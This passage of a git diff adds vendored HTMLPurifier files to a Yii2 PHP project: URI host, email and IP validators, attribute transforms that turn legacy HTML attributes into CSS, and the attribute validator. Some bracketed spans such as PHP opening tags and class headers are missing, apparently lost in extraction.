(false); + + $context->destroy('EmbeddedURI'); + if (!$ok) { + return false; + } + // back to string + return $uri->toString(); + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php new file mode 100644 index 00000000..daf32b76 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.php @@ -0,0 +1,20 @@ +" + // that needs more percent encoding to be done + if ($string == '') { + return false; + } + $string = trim($string); + $result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string); + return $result ? $string : false; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php new file mode 100644 index 00000000..e7df800b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.php @@ -0,0 +1,128 @@ +ipv4 = new HTMLPurifier_AttrDef_URI_IPv4(); + $this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6(); + } + + /** + * @param string $string + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return bool|string + */ + public function validate($string, $config, $context) + { + $length = strlen($string); + // empty hostname is OK; it's usually semantically equivalent: + // the default host as defined by a URI scheme is used: + // + // If the URI scheme defines a default for host, then that + // default applies when the host subcomponent is undefined + // or when the registered name is empty (zero length). + if ($string === '') { + return ''; + } + if ($length > 1 && $string[0] === '[' && $string[$length - 1] === ']') { + //IPv6 + $ip = substr($string, 1, $length - 2); + $valid = $this->ipv6->validate($ip, $config, $context); + if ($valid === false) { + return false; + } + return '[' . $valid . ']'; + } + + // need to do checks on unusual encodings too + $ipv4 = $this->ipv4->validate($string, $config, $context); + if ($ipv4 !== false) { + return $ipv4; + } + + // A regular domain name. + + // This doesn't match I18N domain names, but we don't have proper IRI support, + // so force users to insert Punycode. + + // There is not a good sense in which underscores should be + // allowed, since it's technically not! (And if you go as + // far to allow everything as specified by the DNS spec... + // well, that's literally everything, modulo some space limits + // for the components and the overall name (which, by the way, + // we are NOT checking!). So we (arbitrarily) decide this: + // let's allow underscores wherever we would have allowed + // hyphens, if they are enabled. This is a pretty good match + // for browser behavior, for example, a large number of browsers + // cannot handle foo_.example.com, but foo_bar.example.com is + // fairly well supported. + $underscore = $config->get('Core.AllowHostnameUnderscore') ? '_' : ''; + + // The productions describing this are: + $a = '[a-z]'; // alpha + $an = '[a-z0-9]'; // alphanum + $and = "[a-z0-9-$underscore]"; // alphanum | "-" + // domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum + $domainlabel = "$an($and*$an)?"; + // toplabel = alpha | alpha *( alphanum | "-" ) alphanum + $toplabel = "$a($and*$an)?"; + // hostname = *( domainlabel "." ) toplabel [ "." ] + if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) { + return $string; + } + + // If we have Net_IDNA2 support, we can support IRIs by + // punycoding them. (This is the most portable thing to do, + // since otherwise we have to assume browsers support + + if ($config->get('Core.EnableIDNA')) { + $idna = new Net_IDNA2(array('encoding' => 'utf8', 'overlong' => false, 'strict' => true)); + // we need to encode each period separately + $parts = explode('.', $string); + try { + $new_parts = array(); + foreach ($parts as $part) { + $encodable = false; + for ($i = 0, $c = strlen($part); $i < $c; $i++) { + if (ord($part[$i]) > 0x7a) { + $encodable = true; + break; + } + } + if (!$encodable) { + $new_parts[] = $part; + } else { + $new_parts[] = $idna->encode($part); + } + } + $string = implode('.', $new_parts); + if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) { + return $string; + } + } catch (Exception $e) { + // XXX error reporting + } + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php new file mode 100644 index 00000000..30ac16c9 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php @@ -0,0 +1,45 @@ +ip4) { + $this->_loadRegex(); + } + + if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) { + return $aIP; + } + return false; + } + + /** + * Lazy load function to prevent regex from being stuffed in + * cache. + */ + protected function _loadRegex() + { + $oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255 + $this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})"; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php new file mode 100644 index 00000000..f243793e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php @@ -0,0 +1,89 @@ +ip4) { + $this->_loadRegex(); + } + + $original = $aIP; + + $hex = '[0-9a-fA-F]'; + $blk = '(?:' . $hex . '{1,4})'; + $pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128 + + // prefix check + if (strpos($aIP, '/') !== false) { + if (preg_match('#' . $pre . '$#s', $aIP, $find)) { + $aIP = substr($aIP, 0, 0 - strlen($find[0])); + unset($find); + } else { + return false; + } + } + + // IPv4-compatiblity check + if (preg_match('#(?<=:' . ')' . $this->ip4 . '$#s', $aIP, $find)) { + $aIP = substr($aIP, 0, 0 - strlen($find[0])); + $ip = explode('.', $find[0]); + $ip = array_map('dechex', $ip); + $aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3]; + unset($find, $ip); + } + + // compression check + $aIP = explode('::', $aIP); + $c = count($aIP); + if ($c > 2) { + return false; + } elseif ($c == 2) { + list($first, $second) = $aIP; + $first = explode(':', $first); + $second = explode(':', $second); + + if (count($first) + count($second) > 8) { + return false; + } + + while (count($first) < 8) { + array_push($first, '0'); + } + + array_splice($first, 8 - count($second), 8, $second); + $aIP = $first; + unset($first, $second); + } else { + $aIP = explode(':', $aIP[0]); + } + $c = count($aIP); + + if ($c != 8) { + return false; + } + + // All the pieces should be 16-bit hex strings. Are they? + foreach ($aIP as $piece) { + if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) { + return false; + } + } + return $original; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php new file mode 100644 index 00000000..b428331f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php @@ -0,0 +1,60 @@ +confiscateAttr($attr, 'background'); + // some validation should happen here + + $this->prependCSS($attr, "background-image:url($background);"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php new file mode 100644 index 00000000..d66c04a5 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php @@ -0,0 +1,27 @@ +get('Attr.DefaultTextDir'); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php new file mode 100644 index 00000000..0f51fd2c --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php @@ -0,0 +1,28 @@ +confiscateAttr($attr, 'bgcolor'); + // some validation should happen here + + $this->prependCSS($attr, "background-color:$bgcolor;"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php new file mode 100644 index 00000000..f25cd019 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php @@ -0,0 +1,47 @@ +attr = $attr; + $this->css = $css; + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->attr])) { + return $attr; + } + unset($attr[$this->attr]); + $this->prependCSS($attr, $this->css); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php new file mode 100644 index 00000000..057dc017 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php @@ -0,0 +1,26 @@ +confiscateAttr($attr, 'border'); + // some validation should happen here + $this->prependCSS($attr, "border:{$border_width}px solid;"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php new file mode 100644 index 00000000..7ccd0e3f --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php @@ -0,0 +1,68 @@ +attr = $attr; + $this->enumToCSS = $enum_to_css; + $this->caseSensitive = (bool)$case_sensitive; + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->attr])) { + return $attr; + } + + $value = trim($attr[$this->attr]); + unset($attr[$this->attr]); + + if (!$this->caseSensitive) { + $value = strtolower($value); + } + + if (!isset($this->enumToCSS[$value])) { + return $attr; + } + $this->prependCSS($attr, $this->enumToCSS[$value]); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php new file mode 100644 index 00000000..7df6cb3e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgRequired.php @@ -0,0 +1,48 @@ +get('Core.RemoveInvalidImg')) { + return $attr; + } + $attr['src'] = $config->get('Attr.DefaultInvalidImage'); + $src = false; + } + + if (!isset($attr['alt'])) { + if ($src) { + $alt = $config->get('Attr.DefaultImageAlt'); + if ($alt === null) { + // truncate if the alt is too long + $attr['alt'] = substr(basename($attr['src']), 0, 40); + } else { + $attr['alt'] = $alt; + } + } else { + $attr['alt'] = $config->get('Attr.DefaultInvalidImageAlt'); + } + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php new file mode 100644 index 00000000..350b3358 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ImgSpace.php @@ -0,0 +1,61 @@ + array('left', 'right'), + 'vspace' => array('top', 'bottom') + ); + + /** + * @param string $attr + */ + public function __construct($attr) + { + $this->attr = $attr; + if (!isset($this->css[$attr])) { + trigger_error(htmlspecialchars($attr) . ' is not valid space attribute'); + } + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->attr])) { + return $attr; + } + + $width = $this->confiscateAttr($attr, $this->attr); + // some validation could happen here + + if (!isset($this->css[$this->attr])) { + return $attr; + } + + $style = ''; + foreach ($this->css[$this->attr] as $suffix) { + $property = "margin-$suffix"; + $style .= "$property:{$width}px;"; + } + $this->prependCSS($attr, $style); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php new file mode 100644 index 00000000..3ab47ed8 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Input.php @@ -0,0 +1,56 @@ +pixels = new HTMLPurifier_AttrDef_HTML_Pixels(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['type'])) { + $t = 'text'; + } else { + $t = strtolower($attr['type']); + } + if (isset($attr['checked']) && $t !== 'radio' && $t !== 'checkbox') { + unset($attr['checked']); + } + if (isset($attr['maxlength']) && $t !== 'text' && $t !== 'password') { + unset($attr['maxlength']); + } + if (isset($attr['size']) && $t !== 'text' && $t !== 'password') { + $result = $this->pixels->validate($attr['size'], $config, $context); + if ($result === false) { + unset($attr['size']); + } else { + $attr['size'] = $result; + } + } + if (isset($attr['src']) && $t !== 'image') { + unset($attr['src']); + } + if (!isset($attr['value']) && ($t === 'radio' || $t === 'checkbox')) { + $attr['value'] = ''; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php new file mode 100644 index 00000000..5b0aff0e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Lang.php @@ -0,0 +1,31 @@ +name = $name; + $this->cssName = $css_name ? $css_name : $name; + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->name])) { + return $attr; + } + $length = $this->confiscateAttr($attr, $this->name); + if (ctype_digit($length)) { + $length .= 'px'; + } + $this->prependCSS($attr, $this->cssName . ":$length;"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php new file mode 100644 index 00000000..63cce683 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php @@ -0,0 +1,33 @@ +get('HTML.Attr.Name.UseCDATA')) { + return $attr; + } + if (!isset($attr['name'])) { + return $attr; + } + $id = $this->confiscateAttr($attr, 'name'); + if (isset($attr['id'])) { + return $attr; + } + $attr['id'] = $id; + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php new file mode 100644 index 00000000..36079b78 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php @@ -0,0 +1,41 @@ +idDef = new HTMLPurifier_AttrDef_HTML_ID(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['name'])) { + return $attr; + } + $name = $attr['name']; + if (isset($attr['id']) && $attr['id'] === $name) { + return $attr; + } + $result = $this->idDef->validate($name, $config, $context); + if ($result === false) { + unset($attr['name']); + } else { + $attr['name'] = $result; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php new file mode 100644 index 00000000..1057ebee --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php @@ -0,0 +1,52 @@ +parser = new HTMLPurifier_URIParser(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['href'])) { + return $attr; + } + + // XXX Kind of inefficient + $url = $this->parser->parse($attr['href']); + $scheme = $url->getSchemeObj($config, $context); + + if ($scheme->browsable && !$url->isLocal($config, $context)) { + if (isset($attr['rel'])) { + $rels = explode(' ', $attr['rel']); + if (!in_array('nofollow', $rels)) { + $rels[] = 'nofollow'; + } + $attr['rel'] = implode(' ', $rels); + } else { + $attr['rel'] = 'nofollow'; + } + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php new file mode 100644 index 00000000..231c81a3 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php @@ -0,0 +1,25 @@ +uri = new HTMLPurifier_AttrDef_URI(true); // embedded + $this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent')); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + // If we add support for other objects, we'll need to alter the + // transforms. + switch ($attr['name']) { + // application/x-shockwave-flash + // Keep this synchronized with Injector/SafeObject.php + case 'allowScriptAccess': + $attr['value'] = 'never'; + break; + case 'allowNetworking': + $attr['value'] = 'internal'; + break; + case 'allowFullScreen': + if ($config->get('HTML.FlashAllowFullScreen')) { + $attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false'; + } else { + $attr['value'] = 'false'; + } + break; + case 'wmode': + $attr['value'] = $this->wmode->validate($attr['value'], $config, $context); + break; + case 'movie': + case 'src': + $attr['name'] = "movie"; + $attr['value'] = $this->uri->validate($attr['value'], $config, $context); + break; + case 'flashvars': + // we're going to allow arbitrary inputs to the SWF, on + // the reasoning that it could only hack the SWF, not us. + break; + // add other cases to support other param name/value pairs + default: + $attr['name'] = $attr['value'] = null; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php new file mode 100644 index 00000000..b7057bbf --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php @@ -0,0 +1,23 @@ + + */ +class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform +{ + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['type'])) { + $attr['type'] = 'text/javascript'; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php new file mode 100644 index 00000000..dd63ea89 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php @@ -0,0 +1,45 @@ +parser = new HTMLPurifier_URIParser(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['href'])) { + return $attr; + } + + // XXX Kind of inefficient + $url = $this->parser->parse($attr['href']); + $scheme = $url->getSchemeObj($config, $context); + + if ($scheme->browsable && !$url->isBenign($config, $context)) { + $attr['target'] = '_blank'; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php new file mode 100644 index 00000000..6a9f33a0 --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Textarea.php @@ -0,0 +1,27 @@ + + */ +class HTMLPurifier_AttrTransform_Textarea extends HTMLPurifier_AttrTransform +{ + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + // Calculated from Firefox + if (!isset($attr['cols'])) { + $attr['cols'] = '22'; + } + if (!isset($attr['rows'])) { + $attr['rows'] = '3'; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php new file mode 100644 index 00000000..3b70520b --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php @@ -0,0 +1,96 @@ +info['Enum'] = new HTMLPurifier_AttrDef_Enum(); + $this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool(); + + $this->info['CDATA'] = new HTMLPurifier_AttrDef_Text(); + $this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID(); + $this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length(); + $this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength(); + $this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens(); + $this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels(); + $this->info['Text'] = new HTMLPurifier_AttrDef_Text(); + $this->info['URI'] = new HTMLPurifier_AttrDef_URI(); + $this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang(); + $this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color(); + $this->info['IAlign'] = self::makeEnum('top,middle,bottom,left,right'); + $this->info['LAlign'] = self::makeEnum('top,bottom,left,right'); + $this->info['FrameTarget'] = new HTMLPurifier_AttrDef_HTML_FrameTarget(); + + // unimplemented aliases + $this->info['ContentType'] = new HTMLPurifier_AttrDef_Text(); + $this->info['ContentTypes'] = new HTMLPurifier_AttrDef_Text(); + $this->info['Charsets'] = new HTMLPurifier_AttrDef_Text(); + $this->info['Character'] = new HTMLPurifier_AttrDef_Text(); + + // "proprietary" types + $this->info['Class'] = new HTMLPurifier_AttrDef_HTML_Class(); + + // number is really a positive integer (one or more digits) + // FIXME: ^^ not always, see start and value of list items + $this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true); + } + + private static function makeEnum($in) + { + return new HTMLPurifier_AttrDef_Clone(new HTMLPurifier_AttrDef_Enum(explode(',', $in))); + } + + /** + * Retrieves a type + * @param string $type String type name + * @return HTMLPurifier_AttrDef Object AttrDef for type + */ + public function get($type) + { + // determine if there is any extra info tacked on + if (strpos($type, '#') !== false) { + list($type, $string) = explode('#', $type, 2); + } else { + $string = ''; + } + + if (!isset($this->info[$type])) { + trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR); + return; + } + return $this->info[$type]->make($string); + } + + /** + * Sets a new implementation for a type + * @param string $type String type name + * @param HTMLPurifier_AttrDef $impl Object AttrDef for type + */ + public function set($type, $impl) + { + $this->info[$type] = $impl; + } +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php new file mode 100644 index 00000000..f97dc93e --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php @@ -0,0 +1,178 @@ +getHTMLDefinition(); + $e =& $context->get('ErrorCollector', true); + + // initialize IDAccumulator if necessary + $ok =& $context->get('IDAccumulator', true); + if (!$ok) { + $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); + $context->register('IDAccumulator', $id_accumulator); + } + + // initialize CurrentToken if necessary + $current_token =& $context->get('CurrentToken', true); + if (!$current_token) { + $context->register('CurrentToken', $token); + } + + if (!$token instanceof HTMLPurifier_Token_Start && + !$token instanceof HTMLPurifier_Token_Empty + ) { + return; + } + + // create alias to global definition array, see also $defs + // DEFINITION CALL + $d_defs = $definition->info_global_attr; + + // don't update token until the very end, to ensure an atomic update + $attr = $token->attr; + + // do global transformations (pre) + // nothing currently utilizes this + foreach ($definition->info_attr_transform_pre as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + // do local transformations only applicable to this element (pre) + // ex.

        to

        + foreach ($definition->info[$token->name]->attr_transform_pre as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + // create alias to this element's attribute definition array, see + // also $d_defs (global attribute definition array) + // DEFINITION CALL + $defs = $definition->info[$token->name]->attr; + + $attr_key = false; + $context->register('CurrentAttr', $attr_key); + + // iterate through all the attribute keypairs + // Watch out for name collisions: $key has previously been used + foreach ($attr as $attr_key => $value) { + + // call the definition + if (isset($defs[$attr_key])) { + // there is a local definition defined + if ($defs[$attr_key] === false) { + // We've explicitly been told not to allow this element. + // This is usually when there's a global definition + // that must be overridden. + // Theoretically speaking, we could have a + // AttrDef_DenyAll, but this is faster! + $result = false; + } else { + // validate according to the element's definition + $result = $defs[$attr_key]->validate( + $value, + $config, + $context + ); + } + } elseif (isset($d_defs[$attr_key])) { + // there is a global definition defined, validate according + // to the global definition + $result = $d_defs[$attr_key]->validate( + $value, + $config, + $context + ); + } else { + // system never heard of the attribute? DELETE! + $result = false; + } + + // put the results into effect + if ($result === false || $result === null) { + // this is a generic error message that should replaced + // with more specific ones when possible + if ($e) { + $e->send(E_ERROR, 'AttrValidator: Attribute removed'); + } + + // remove the attribute + unset($attr[$attr_key]); + } elseif (is_string($result)) { + // generally, if a substitution is happening, there + // was some sort of implicit correction going on. We'll + // delegate it to the attribute classes to say exactly what. + + // simple substitution + $attr[$attr_key] = $result; + } else { + // nothing happens + } + + // we'd also want slightly more complicated substitution + // involving an array as the return value, + // although we're not sure how colliding attributes would + // resolve (certain ones would be completely overriden, + // others would prepend themselves). + } + + $context->destroy('CurrentAttr'); + + // post transforms + + // global (error reporting untested) + foreach ($definition->info_attr_transform_post as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + // local (error reporting untested) + foreach ($definition->info[$token->name]->attr_transform_post as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + $token->attr = $attr; + + // destroy CurrentToken if we made it ourselves + if (!$current_token) { + $context->destroy('CurrentToken'); + } + + } + + +} + +// vim: et sw=4 sts=4 diff --git a/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php new file mode 100644 index 00000000..707122bb --- /dev/null +++ b/php/yii2/basic/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php @@ -0,0 +1,124 @@ + +if (!defined('PHP_EOL')) { + switch (strtoupper(substr(PHP_OS, 0, 3))) { + case 'WIN': + define('PHP_EOL', "\r\n"); + break; + case 'DAR': + define('PHP_EOL', "\r"); + break; + default: + define('PHP_EOL', "\n"); + } +} + +/** + * Bootstrap class that contains meta-functionality for HTML Purifier such as + * the autoload function. + * + * @note + * This class may be used without any other files from HTML Purifier. + */ +class HTMLPurifier_Bootstrap +{ + + /** + * Autoload function for HTML Purifier + * @param string $class Class to load + * @return bool + */ + public static function autoload($class) + { + $file = HTMLPurifier_Bootstrap::getPath($class); + if (!$file) { + return false; + } + // Technically speaking, it should be ok and more efficient to + // just do 'require', but Antonio Parraga reports that with + // Zend extensions such as Zend debugger and APC, this invariant + // may be broken. Since we have efficient alternatives, pay + // the cost here and avoid the bug. + require_once HTMLPURIFIER_PREFIX . '/' . $file; + return true; + } + + /** + * Returns the path for a specific class. + * @param string $class Class path to get + * @return string + */ + public static function getPath($class) + { + if (strncmp('HTMLPurifier', $class, 12) !== 0) { + return false; + 